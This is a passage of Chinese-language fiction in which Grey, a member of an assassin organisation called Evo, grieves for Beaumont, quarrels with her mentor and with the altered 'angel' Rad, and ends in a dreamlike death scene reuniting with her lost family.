“是的。”格雷伊也没有藏着掖着,这件事不算是秘密。 “你自己也知道自己不会收到回复了,格雷伊。”有乐千实说,“你这样的做法只是在逃避自己软弱的一面而已,你还是在想着过去的事情,没有丝毫的成长。” 格雷伊没有说话,她以为自己习惯了老师这样的说话方式,但每次听到还是会忍不住地感到生气与哀伤。 生气于对方擅自干涉她自己的事情并下定论,哀伤对方说的是事实。 “…这件事不会影响到我,老师。”格雷伊低着头说。 “不,过去是会影响人的,尤其是没能放下的,也放不下的过去。”有乐千实说。 这不是说的很清楚自己又做不到吗?格雷伊心里想笑。 “即使这样我也可以做到我该做的,老师。”格雷伊看向有乐千实,“这件事无关紧要,偶尔提起也没关系的吧?” “…你还是太年轻了。”有乐千实说。 “是吗?”格雷伊04年出生,确实算得上是年轻的。 “时间会给你成长的机会,也会给你放下一些东西的契机,你要学会抓住,格雷伊。”有乐千实看着格雷伊说,“放任机会溜走是弱者才会做的事情。” 那你呢?格雷伊忍不住想问。 “我明白的,老师。”格雷伊说,“这么多年来我确实变得强大了许多,都是因为听从你的意见,这是毋庸置疑的。” “当然。”有乐千实理所当然地点头,“你还会变得更加强大的,只要你能学会与过去断开联系,你的未来能走的很远。” “只有这件事,您给不了我意见。”格雷伊摇了摇头,“每家都有自己的情况,您不了解,就请不要再继续过问了。每个人都有自己的家务事要解决不是吗?” 说完这句话之后格雷伊的火气就消了,还有点后怕,抬头,却发现有乐千实只是淡然地看着自己,似乎并没有因为她所说的话感到不满。 “这也是自然的。”有乐千实说。 “…要喝一杯什么吗?我请客。”格雷伊心虚地笑了,但她也知道有乐千实不喝酒。 “无糖气泡水,加两个青柠。”有乐千实说。 在博蒙死去后的一段时间里,格雷伊都会在酒馆待着,直到不得不出门。酒馆也不营业,灯亮着但是门锁着,没人进得去。 不知情人不会上门打扰,知情人无人在意她的想法,于是那个酒馆很久都没有迎来新的顾客。格雷伊没有再调酒,她并不喜欢喝酒,她只是喜欢站在那里,等待有人推门而入而已。 但不知为何,以往她的客人们多数是来找她说话的,其余的多数与她无话可说,并没有出现预想中的那种客人喝醉酒后絮絮叨叨,她在吧台后面倾听的情况。 这似乎也不重要了,因为这个位置是格雷伊给她设想中的未来中的博蒙准备的,现在对方不复存在,这个吧台便也没有了可以继承的人。 格雷伊忽然想到,博蒙不喜欢倾听,她大概是不会喜欢这个位置的。有乐千实说的是对的,她所做的一切没有意义,只是她自己一厢情愿地回避走向未来的选项,那过去的一切确实缠住了她的脚让她驻足不前。 可这样又如何呢?格雷伊想不出来一个自己继续待在这里,待在Evo这个以公司为掩护的杀人集团中,甚至待在这个社会中的理由了,前进的话她得不到自己想要的任何东西,那为何要前进呢? 格雷伊想不出来,她磨蹭着那模糊的一角照片,甚至没有在流泪。 因为她真的见证博蒙死去的那一瞬间,也是没有什么特殊的感受的,甚至没有当初她急着去神脉医院时的路上的焦急深刻。她什么都感受不到,也没有想要感受的东西了。 我大概从很早以前开始就没那么在乎她了吧,格雷伊心想,为自己曾经那些明知道结果还要做样子的行为发笑。博蒙没有留给格雷伊任何东西,财产也好,魔法道具也好,遗嘱也好,甚至,一句想说的话也好。 所以她也是不在乎我的,格雷伊了悟。博蒙一定是连死前都在想着和她摆脱关系,不,按照她的思维逻辑,死前八成想的是阿贝尔家族的事情。 而格雷伊与博蒙的缘分,在她的母亲被送入手术室的那天起就彻底了断了。之后的一切,信息也好这栋酒馆也好她的坚持也好,全都是没有意义的东西。 丢掉也无所谓,但丢掉之后,也不会获得新的东西了。 门被踢开了,是拉德来找人,格雷伊摸出手机,果然是因为没电而关机了。 “教练说如果找不到你就来这里,果然。”拉德说道,他的上半身还缠着绷带,似乎是在之前的任务中受了伤,却因为之后的任务而有机会苟延残喘。 可不久后他就会死了,甚至是自愿的,格雷伊没有动作,心中充满了嘲笑的念头。 “行动起来。”拉德皱眉看向一动不动的格雷伊,“不要忘记教练说的话,她是你的老师,应该提前和你说过这种情况下该怎么做。” 怎么做?格雷伊依旧不动,思绪飘向过去。 是“不要沉溺于过去”还是“不要错过机会”?还是说是那句“与过去断开联系”? 格雷伊笑了,她发现自己能想起来的全是些送她去死的话。 “…我们没办法理解你。”拉德俯视格雷伊,被遮住的左半边身体带着冷意,“你有你自己的情况,你自己处理好,不要干扰到任务。” “当然没办法,你们这群天使,恐怕从未作为人类真正地活过吧。”格雷伊低声笑了。 拉德没有说话,他只是站在那里,神色没什么变化。 “你们当然没办法理解我的,你们没有家人,只是整天被老板支配着一切,从头到脚,甚至是思维,你们的行动并非出于本心,而是命令的后果。”格雷伊丝毫不在乎会发生什么,“你们是武器,是道具,是天使是杀人犯,我是人,我是人啊!” “你还想说什么?”拉德无动于衷,他一贯如此。 “…我想说什么?”格雷伊忽然就有了想说的东西,“你知道吗?拉德,你有个弟弟。” “我没有亲人,你自己说的。”拉德面色没有变动,“曾经或许有过,但那些事在我得到更新之后就被我抛之脑后了,我不再受过去的苦,只作为天使拉德存在。” “抛弃过去?”格雷伊感到荒谬,这些天使是因为手术而被动抛弃过去的,并非是发自真心地这样做,也就是说,这些人根本就不理解抛弃过去所代表的是什么,甚至她怀疑这句话是拉德从湛那里听到之后学来的某句戏剧台词。 “你也该如此,格雷伊。”拉德点头,“即使过往的道路不同,但你也是天使的一员,你不该受困于过去,去经受一个普通人的苦难。” 拉德难得劝说别人,认为自己仁至义尽了。 “她是这样告诉你的?”格雷伊说的是湛。 “老板说的话我都记得。”拉德点头。 “哈哈哈——”格雷伊忽然就放声大笑,“她才是最走不出来的那个,她永远走不出来了!因为她才是那个普通人!她是从什么时候意识到这件事的?她的父母被杀死的时候?那个天使因为她的命令死掉的时候?还是她让你的弟弟去死——” 金属声如雷鸣般轰鸣于酒馆内,拉德左臂挥出,吧台一分为二。 “慎言,即使你也是我们的一员,你也没有资格议论那位大人的过去。”拉德脸色阴沉地警告道。 格雷伊还是没有动,她还在笑,趴在一半的吧台上呼吸缭乱,好一会才缓过来。 “好啊,我们走吧,我们出发吧。”格雷伊咯咯地笑着说,“去哪里都可以,她可以做到那么我也可以才对,我不需要这些东西了。” “走吧。”拉德收起了翅膀,没去理会格雷伊的言语和感情。 在巨大的光与热之中,艾洛蒂做了一个梦,梦见完好如初的酒馆,梦见博蒙,梦见她那面目尚且清晰的父亲。 那是她的家人,她等待了很久,一直苦苦寻求着的,却也早就心知肚明不在人世的家人。 她们会怎么说我呢?艾洛蒂心想,是责备吗?是训斥吗?是辱骂吗?还是说,她们也会因为我的最后的行为,而对我道出一些夸奖吗?但无论是作为人类来说,作为Evo的天使来说,还是说昨晚阿贝尔家族的族人来说,她都是不合格的存在。 所以,不会有奖赏存在。在那里等待着她的一定是某种惩罚,杀人罪也好,背叛也好,对自己的义务视而不见,没能守护家族的一切也好,都是她没能弥补的过错。 我们一定会一起下地狱的吧!艾洛蒂这样想着,欣喜地朝自己的家人跑去。 就像是她四岁那年,博蒙说要离开时,她没有悲伤,困惑,生气。她只是相信着,爱着对方,并等待对方回来。 而现在,她要过去了。